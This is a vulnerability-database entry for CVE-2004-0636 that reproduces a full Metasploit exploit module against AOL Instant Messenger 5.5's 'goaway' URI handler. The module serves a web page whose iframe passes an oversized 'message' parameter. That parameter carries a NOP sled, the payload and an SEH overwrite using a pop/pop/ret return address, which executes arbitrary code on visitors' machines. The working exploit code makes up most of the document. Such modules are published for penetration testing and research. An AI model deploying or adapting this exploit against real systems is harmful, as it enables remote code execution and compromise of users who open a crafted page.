AOL Instant Messenger goaway Overflow

🗓️ 17 Sep 2006 08:00:37Reported by skape <[email protected]>, thief <[email protected]>Type

AOL Instant Messenger goaway Overflow exploit via 'message' paramete

Reporter	Title	Published	Views	Family All 21
Tenable Nessus	AOL Instant Messenger aim:goaway URI Handler goaway Function Away Message Handling Remote Overflow	20 Aug 200400:00	–	nessus
0day.today	AOL Instant Messenger AIM "Away" Message Local Exploit	14 Aug 200400:00	–	zdt
0day.today	AOL Instant Messenger AIM "Away" Message Remote Exploit	2 Sep 200400:00	–	zdt
Circl	CVE-2004-0636	3 Jul 201000:00	–	circl
Check Point Advisories	AOL Instant Messenger Away Message Buffer Overflow (CVE-2004-0636)	22 Feb 201000:00	–	checkpoint_advisories
CVE	CVE-2004-0636	12 Aug 200404:00	–	cve
Cvelist	CVE-2004-0636	12 Aug 200404:00	–	cvelist
Exploit DB	AOL Instant Messenger AIM - goaway Overflow (Metasploit)	3 Jul 201000:00	–	exploitdb
Exploit DB	AOL Instant Messenger AIM - 'Away' Message Local Overflow	14 Aug 200400:00	–	exploitdb
Exploit DB	AOL Instant Messenger AIM - 'Away' Message Remote (2)	2 Sep 200400:00	–	exploitdb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server and exploits an SEH overwrite
  #
  include Msf::Exploit::Seh
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AOL Instant Messenger goaway Overflow',
      'Description'    => %q{
          This module exploits a flaw in the handling of AOL Instant
        Messenger's 'goaway' URI handler.  An attacker can execute
        arbitrary code by supplying an overly sized buffer as the
        'message' parameter.  This issue is known to affect AOL Instant
        Messenger 5.5.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'skape',
          'thief <thief[at]hick.org>'
        ],
      'References'     =>
        [
          [ 'CVE', '2004-0636' ],
          [ 'OSVDB', '8398'    ],
          [ 'BID', '10889'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1014,
          'MaxNops'  => 1014,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          # Target 0: Automatic
          [
            'Windows NT/2000/XP/2003 Automatic',
            {
              'Platform' => 'win',
              'Rets'     =>
                [
                  0x1108118f, # proto.com: pop/pop/ret
                ],
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2004-08-09'))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Build out the message
    msg =
      make_nops(1014 - p.encoded.length) +     # NOP sled before the payload
      p.encoded +                              # store the payload
      generate_seh_record(target['Rets'][0]) + # set up the SEH frame
      "\x90\xe9\x13\xfc\xff\xff"               # jmp -1000

    # Build the HTML content
    content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.8High risk

Vulners AI Score7.8

CVSS 210

EPSS0.66019